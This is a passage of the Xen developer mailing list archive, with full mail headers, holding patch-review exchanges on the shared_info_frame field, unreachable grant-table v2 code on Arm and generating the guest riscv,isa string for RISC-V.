>      uint64_aligned_t shared_info_frame; /* GMFN of shared_info struct */
> 
> in public/domctl.h.

In principle we could consider doing such, but if we did it needs to be
technically accurate. It may not, as your code fragment does, assume
that unsigned long long and uint64_aligned_t (and for just the purpose
here also uint64_t) are the same thing. Yet at the same time I think we
have successfully avoided use of the fixed-width integer constants
macros in the public headers, first and foremost because plain C89
doesn't offer them.

Hence overall I think introducing such a constant is going too far;
merely stating verbally that the field being set to all-ones has this
particular meaning should be enough.

>> And there's one further aspect to consider: Do we really want to retain the
>> shared_info struct domain field when !HAS_SHARED_INFO? 
> 
> I think we could consider that.
> 
>> Making it conditional
>> would require some adjustment here, but might be tidier overall. In
>> particular doing so would eliminate the risk of new uses of the field
>> appearing, with people not noticing that they'd break RISC-V.
> 
> Would you be okay with the following change:
> 
> +#ifdef CONFIG_HAS_SHARED_INFO
> +    info->shared_info_frame =
> +        gfn_x(mfn_to_gfn(d, _mfn(virt_to_mfn(d->shared_info))));
> +    BUG_ON(SHARED_M2P(info->shared_info_frame));
> +#else
> +    info->shared_info_frame = ~0;
> +#endif

It's not pretty, but acceptable imo.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 15:42:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 15:42:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374881.1622165 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wojwW-0007Ak-Ag; Tue, 28 Jul 2026 15:42:08 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374881.1622165; Tue, 28 Jul 2026 15:42:08 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wojwW-0007Ad-84; Tue, 28 Jul 2026 15:42:08 +0000
Received: by outflank-mailman (input) for mailman id 1374881;
 Tue, 28 Jul 2026 15:42:06 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wojwU-0007AX-Ny
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:42:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wojwT-007aPi-Td
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 17:42:05 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68cdcd-2eae-0a2a0a5409dd-0a2a450399a2-0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:42:05 +0200
Received: from [209.85.221.43] (helo=mail-wr1-f43.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68cdcd-fae8-0a2a45030019-d155dd2be0b4-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:42:05 +0200
Received: by mail-wr1-f43.google.com with SMTP id
 ffacd0b85a97d-47f3b39f2a1so13948f8f.2
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:42:05 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47fb6acbfb3sm60893f8f.14.2026.07.28.08.42.04
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 08:42:04 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785253325; x=1785858125; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=2ffLgMVztvBuMpyGzbuy6mxI4fAnja40i0ukK1st5GA=;
        b=Xw1xofAF0fXuQKlbSNTzd8csOOzca4zKfj+bDgtvkC/RHiY6lyUNG4n7BPeSotYBPu
         oe4RnNR1df3faG7qNJZkoBcVQwP+qBwPETTQOOt1xetlQkV9wkI4k+/x1mZEc18fbpwk
         laNyBPYqV3VgHc9E6sMeeFz/wqcSA+80yvAal/U1WISHui1ttYPRZsEs8SvsDqj1Md2Z
         Re9nLcL+7i8sN27rZtNymn/PO+R9x37vTwOTI/BWSX6n2/ZLjUHLIawi2KjAFblZvCbg
         9yCF36ZfzV+a9dHyg6cJzXXuSoKCNCF7bT6x3CzPESQURpWyKr4OH7mMetKjJ2ZzMG/s
         YSHA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785253325; x=1785858125;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=2ffLgMVztvBuMpyGzbuy6mxI4fAnja40i0ukK1st5GA=;
        b=YQ3BwmXfD6jTMItbZOewJHu6kQFaj/duPF4cW5ZjykTCy+FhGyfosrauWA9haSD4Tj
         x1a/Bc6qyUUC3p2AP/eyqzH3uJVhm40FPOpyFzNbnfv1/38+RdsKzu5JOm1WkQA6Vq6f
         PqG0UbixEWldRWb6E1indONLrdZSpT0kirMcDcGT31YCwRyEHnf/NvfqR/Q5zD/a9k+X
         hc+bCQbzzt97STCAgsonG2aj18L59cMV77Jaiuq61I873hN1wa0F4HK83eSncB5Cauxc
         VxjUdlCx4m+TATtTX1hbsM2fx49cSrQ0PJRaEcSPQz8PB2YV8fpOjgPp/NdOQ3MEfUxG
         LpSA==
X-Gm-Message-State: AOJu0Yy1bKI20A0l6WcOB9sSs1CM7hodUrK8J3Tyzjgy65tDo/IoGK6q
	ZEoqpqGGzO5p6eDZQg3aseVrtMzBz1+krd6I0X2rFAx/zAN91pbyjmXH7LHBpA58Aw==
X-Gm-Gg: AR+sD10dTcWApm1C5Z85F7hLKtefN7Venwao+afKrxBKdev11pptpz6hWA3jpZnygf0
	KjxczVI5dB6FCSIUGon1ka7WZMT4CP0pndd2atVrSBazuj9V5vVW/qrUBALi2TNwtKDUMjynXw+
	zDwxo0J0ZK7Kk3u4rOY1OtDad7Shc6F3s4LupiqTOwYt3GYjXoGcTAK89FhZOxURuCQGsZU59AX
	zCN6SnkHPnceKR+qyL8tKn7bNg6uktg1hIfTExsn9576sBiCGmxIrFLgPklJKfkhJaV8Ye/yNxG
	mL7aORqoh63jNvLNQFp8nByo1YDlc2yimLLL4T+zwjLzjJudNynUgXhZYH6whA/qX+Y61rSWy33
	FSbmgDli+Lv0hnTSDVS0Psj6ayQPQeELnItp+j3qtVqVR0DXfeNUAqbsw6Tc6oglP9OMEBYaQoh
	NSxAOLiU5EyVWDqZbhSMw2lW2wTxeTBvotAn/xkiyS/i8o8TnF3jQLIVkRjXqLvjxMQA==
X-Received: by 2002:a05:6000:4383:b0:47f:93a1:116a with SMTP id ffacd0b85a97d-47fb1e6cbe0mr3913207f8f.17.1785253325303;
        Tue, 28 Jul 2026 08:42:05 -0700 (PDT)
Message-ID: <5ca4d7a3-f109-4e16-8e82-7603874ea50d@suse.com>
Date: Tue, 28 Jul 2026 17:42:03 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 7/7] gnttab: unreachable code when GNTTAB_MAX_VERSION < 2
To: Nicola Vetrini <nicola.vetrini@bugseng.com>
Cc: xen-devel@lists.xenproject.org, Andrew Cooper
 <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>
References: <38850629-8bfa-4737-99ff-0fd3f489e56e@suse.com>
 <436c0688-8b9a-4e56-9d4c-c81dcfbea56e@suse.com>
 <013f1cb3f76ed613be42d4f6157e3d0d@bugseng.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP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WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <013f1cb3f76ed613be42d4f6157e3d0d@bugseng.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1785253325-76EF74E9-073CC08B/0/0
X-purgate-type: clean
X-purgate-size: 814

On 28.07.2026 17:40, Nicola Vetrini wrote:
> On 2026-07-28 15:53, Jan Beulich wrote:
>> I'm surprised Eclair doesn't spot the large chunks of unreachable code 
>> on
>> Arm, i.e. violations of Misra C:2012 rule 2.1.
>>
>> Signed-off-by: Jan Beulich <jbeulich@suse.com>
>> ---
>> This pretty certainly isn't dealing with everything. For example, with
>> another helper the gt_version field could likely also become 
>> conditional.
>> With some more effort the nr_status_frames field similarly could become
>> conditional.
>>
> [...]
> 
> Hard to judge only looking at the diff. Is this code unreachable in the 
> arm64-allcode analysis configuration as well?

Arm uniformly has

#define GNTTAB_MAX_VERSION 1

so all gnttab-v2 code is unreachable there, no matter what configuration.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 15:47:47 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 15:47:47 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374906.1622247 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wok1u-0000vG-JS; Tue, 28 Jul 2026 15:47:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374906.1622247; Tue, 28 Jul 2026 15:47:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wok1u-0000v9-Gf; Tue, 28 Jul 2026 15:47:42 +0000
Received: by outflank-mailman (input) for mailman id 1374906;
 Tue, 28 Jul 2026 15:47:40 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wok1s-0000qC-P6
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:47:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wok1s-007bE2-5R
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 17:47:40 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a68cf02-2eae-0a2a0a5409dd-0a2a4501aad6-48
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:47:40 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a68cf1b-5984-0a2a45010019-d1558035c59f-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:47:40 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-4954c0833b4so29972615e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:47:40 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496b388d5b4sm225948115e9.3.2026.07.28.08.47.38
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 08:47:39 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785253659; x=1785858459; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=mGVeiZJgiOerc6G0bvosshOkdn1rvNx/25/6z5ZKalI=;
        b=JuJoDQKT+1Z2zH9ciNDotRoEIZcygf+ppM9+OUgpQQ0Kspwlr9Mmq2fcieYbrD0/9I
         /xkcnh+QYALV0sXURBVH9d/aayTXKP3wt4NXyRwO0p/GNmyB6J+WdDp+7HjUiXDcPWCh
         Lbb8gMZWLhdq8Xu0Dj9g4idmK/j95UV+bT4hu4+qWXXlPDC+3RkNYicxrTJ98Uuewdrg
         UoSOuLAJay99YZo6o+7+x9q65jh9CVtBQDZy73Tl2r7DJHywOGuU4oubtdg89ke7UiCQ
         3F95SXxqzmnp6ZURxGfZeHG855pXG//deqF873ZgMig0zEEdpzOKJ7nZyuxp6QGOM9pG
         awaA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785253659; x=1785858459;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=mGVeiZJgiOerc6G0bvosshOkdn1rvNx/25/6z5ZKalI=;
        b=TNWdA2pKIJF5wNjYEawqLhL2Gmss+Cb5U1QLklq776MxR0s+gabvAUnFy2Z8iSLJEN
         Xwx4HrxlVn93Q2Vi745fgdN3GPhYtyFiPJ83HDwZJqEOCDAiH9sTVkX1plPfulDj5RCG
         4RxAiEvvB8SSu93D9SNxxL1pJW40rwO2KYUG3rbJk+MHum0NE/tbRyYxRWRSj6Mpli4x
         xoJExm04Zz0KTB+ffpiWfc8jdaKr0mwf88WSwjwQI5ETqC7U/HM4+/5HgLcbhlRtFIjX
         gpxsmPf3VvKQtifh3ApTOMQcCrPcL6625OAcNiCpq142MX9dMGdqgX0XZR0v86KV6J9h
         03hA==
X-Forwarded-Encrypted: i=1; AHgh+RrUj0z2GXnqsk3IAUrZFB5XIOQZfWXIiPOWdd/LCDTTPEZWFYM2iaQPh+midKv/nMPNw/9HBImZky8=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzhZaJDbKKRSRyumkEZMcoadR3Nq9K697VSMHPhbV9GbeFTzayP
	bNSiV1A3GLkXZSJAEb1oe9K1EK0BDURJB7cXYRfo277unXB8lT/NlhvO
X-Gm-Gg: AR+sD11XKe1UmxFXA/5cqihz4oMZwdY0JPzcNA/DF843XhH/oojnu2JuOQIQMDtA2BS
	Jh0mD7/5TzORIZ7K0qn8HLs8wdg5aCk1q5KxB71Ry5IvAcnhpXdzQGJnZ522CJdxa03ninCktOr
	nKgFezjjSilKsuPzWeGICkh/Xt+cH7ahV+kcvHPWdgDu1u5w9T1pNwFIAPSkAUO/gBU6LxGBFcY
	7XM4cNac9Gvp5k1OfaVxdmUXWPjs3fLkchrTwX9qdnsMnjqBeGiY11htnRauR/Kjug0/urUbN2z
	qtm0nIbHkw9U8P0NM1HJoTVvS9w/52GnWI+yG5W2+QrctB2wzA5RC4vhMaFHMKfUklU1AMcF6SY
	ozPLpfbrYVVHWuK1lMaKsCLHaUtsd2S/VohGqqls6vvzJLqJuIKHWwln3bOPCSrLeTQK7z+sO7k
	7J/rFgBSGdCR7y/IYVun2Kzg2fIv/9mTIzAWJIKwsT2i2EDF0bmzG95DOt
X-Received: by 2002:a05:600c:5253:b0:495:7287:293f with SMTP id 5b1f17b1804b1-496c6580206mr33873095e9.35.1785253659552;
        Tue, 28 Jul 2026 08:47:39 -0700 (PDT)
Message-ID: <1e6d2cc4-4bf0-4035-b6fa-52bd111f03fd@gmail.com>
Date: Tue, 28 Jul 2026 17:47:38 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 06/23] xen/riscv: introduce guest riscv,isa string
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
 <9f5d1005611daa4ba9e4324950fcfe10adbebc32.1784559209.git.oleksii.kurochko@gmail.com>
 <d329d1c0-59b1-4aa8-b72d-5aad3e310f07@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <d329d1c0-59b1-4aa8-b72d-5aad3e310f07@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1785253660-C5341757-2198CAA0/10/73395122804
X-purgate-type: spam
X-purgate-size: 3350



On 7/22/26 9:25 AM, Jan Beulich wrote:
> On 20.07.2026 17:59, Oleksii Kurochko wrote:
>> Introduce build_guest_isa_str() to generate the riscv,isa string to be
>> passed to the guest via the Device Tree riscv,isa property.
>>
>> Introduce the per-domain guest ISA bitmap, populated during domain
>> creation by calling init_guest_isa().
>>
>> Introduce struct riscv_isa_ext_entry with a new guest_supported field
>> to filter out ISA extensions that should not be exposed to guests:
>>
>> - f/d/q/v: FPU and vector context save/restore are not yet implemented
>>    for guests.
>> - Z*inx are not exposed either: they aren't in riscv_isa_ext[], so they
>>    can never be set in riscv_isa and thus never reach a guest, and no
>>    current hardware/guest-OS advertises or expects them. Supporting them
>>    would be cheaper than F/D/Q (FP values stay in integer registers Xen
>>    already context-switches), but is left as future work.
>> - h: Nested virtualisation is not supported.
>> - sstc: Xen owns the supervisor timer; guests must use SBI.
>> - svade: Xen manages hardware A/D bit updates in stage-2 page tables.
>> - svpbmt: Page-based memory types are not yet wired up in stage-2 code.
>>
>> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
> 
> In principle
> Acked-by: Jan Beulich <jbeulich@suse.com>

Thanks.

> 
> But see below.
> 
>> ---
>> Changes in v6:
>> - build_guest_isa_str() now takes a `const struct domain *d` instead of a
>>    raw `const unsigned long *isa_bitmap`, to leave room for using more than
>>    just the bitmap in the future.
>> - Compute the guest-visible ISA bitmap once at boot, into a new
>>    __ro_after_init `guest_isa` bitmap (compute_guest_isa(), called at the
>>    end of riscv_fill_hwcap()), instead of re-deriving it from
>>    riscv_isa_ext[] on every domain creation in init_guest_isa(). All guests
>>    currently get the same extension set, so this avoids repeating
>>    identical work per domain; will need revisiting if/when per-domain ISA
>>    policy is introduced.
>> - struct arch_domain's `isa` field is now `const unsigned long *isa`
>>    instead of an embedded bitmap; init_guest_isa() just points it at the
>>    shared `guest_isa` bitmap rather than copying bits into a per-domain
>>    array.
>> - Mark riscv_isa_ext[] __initconstrel, since its entries hold name pointers
>>    and the need for relocations requires that the compiler emit the data to
>>    a writable section.
>> - Make build_guest_isa_str() __init as it is called during make_cpus_node()
>>    which is used only (at least, for now) in build time of domain.
> 
> This last item is confusing. For one as there's no call site being added here
> in the first place. 

Agree, I have to put that actual call happens in the follow up commit.

And then - why would the string need re-calculating when
> the bitmap is calculated once at start of day?

It isn't re-calculated per call site, only once per domain build. But 
you're right that today that's still redundant work: the bitmap is 
shared, so every domain gets the same string. I kept the generation in 
make_cpus_node() because the string is consumed there and thrown away, 
and because per-domain ISA policy would put us back to building it per 
domain anyway.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 15:48:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 15:48:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374913.1622255 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wok2m-00026p-15; Tue, 28 Jul 2026 15:48:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374913.1622255; Tue, 28 Jul 2026 15:48:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wok2l-00026a-U5; Tue, 28 Jul 2026 15:48:35 +0000
Received: by outflank-mailman (input) for mailman id 1374913;
 Tue, 28 Jul 2026 15:48:34 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper3@citrix.com>) id 1wok2k-00025V-NQ
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:48:34 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wok2j-00FCsc-Sg
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 17:48:33 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a68cf45-5cb7-0a2a0a5109dd-0a2a4504c9e6-22
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:48:33 +0200
Received: from [209.85.128.45] (helo=mail-wm1-f45.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a68cf51-b57f-0a2a45040019-d155802de0c2-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:48:33 +0200
Received: by mail-wm1-f45.google.com with SMTP id
 5b1f17b1804b1-4956242332dso35314025e9.2
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:48:33 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c44b6b93sm88807765e9.4.2026.07.28.08.48.32
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Tue, 28 Jul 2026 08:48:32 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:MIME-Version:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1785253713; x=1785858513; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=m6L63Ny7GTkbTal1OI3F5CsjBl3w3ve+x1CwzJJJxFs=;
        b=lfakUPO9G2zUklMG9keejPXXZ47bNJqCY5583sh/q0wavl//o0FxjKQR8seczdfypw
         O2MYrQGpM5AO+/vkco8Yz0R6AMerHkZV0yqR0/4TTugEatnIdQExT+E9rcyHxVeycG/z
         cwTI7MOk1qAIJ9PtGHt9efTVAt3feKz7PcFz0=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785253713; x=1785858513;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=m6L63Ny7GTkbTal1OI3F5CsjBl3w3ve+x1CwzJJJxFs=;
        b=McqCNqRLprPiZ7FJSnpdNyfHgW8M++/Ua9y5h/D1A/2dWyHg7/PBh0nk+MPmZcxsyI
         psRVExMEWmNxF7rvMkKENgtV2YX/D7T+w7oYuY7+27XPiEQtnHfZz/d0VeKD+hg3z8ok
         gEeVl/RpHtACSsDLctKjOcAUBtQ1aOS0dFdhYDUuC5uplBGXuGw9USV6eo10sq71DT5G
         HUBYpxUFyMcgimyiogiPw7TsIWSFEmKKCYc3st3kogks3p67lmXVkfEyCUr5VUZTPnhA
         vmH3bSrPR1QPeIFxbhPfVJBcLiXst0Qvx+jZdh+nuCBGXBZTudbz9+qTno/4E7dIRw4/
         w33w==
X-Gm-Message-State: AOJu0YxIb1EwyCbAnirNLcJwqmq0dENvGR9BFl/EGe12sdTIToRegNJh
	yQr+yn/lTdCmZSxZY7o5Gl4B14XsJkbsk8v3GDYluWTUtEaKJR5uqlaAXDNMVUq2VD11OVPQJHg
	1RRQS+CI=
X-Gm-Gg: AR+sD10fojjV7is817Dl0uRm0iv/3lvlfksfzJj6GMpF7kgLdDL1PbCO8UmoHZNGH6/
	Ptg577rPkst/WHsQ6ph2KiT73tdEi84lOJ7N614bDRZqHBV+TUDs9SSjrHwkj1IdxTs4ytO9frA
	PeDhZjleg72UgaqsOYmpvt5lLh+Wn4RdwW7zpCba7QyIpeHxF5qeSmUmVeI1mutb38yHVnmDcvR
	qEFrLMeBX5LeZdFbJq1uaXRs7dJlW4mrOwbE2ojwjJqTMXBzME4pEVil2x6NyxYvNBsqyivwp1I
	cC/5Ep/0lcTPV/UiFoWWMsiWv0zZHI2OFXofvwtNRTgsmpTjYD0xAIVl/hrIqVflVcc700ljDPJ
	3LQ+J3wb0I0/sF/4p8KN73xoDK6qHN2PycA623XAj6ADHSsv7ZkHsmzKEFlwFljgAHeTstvhqRk
	i/tGUIyyjw8/8aLqpwqYlBOTt1l+gZeM1jdDGTh0l74wDBum40+JI5jGCj6E1PUcQ=
X-Received: by 2002:a05:600c:6992:b0:493:a438:7f98 with SMTP id 5b1f17b1804b1-496c6590745mr32635345e9.18.1785253712958;
        Tue, 28 Jul 2026 08:48:32 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Andrii Sultanov <andriy.sultanov@vates.tech>,
	Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
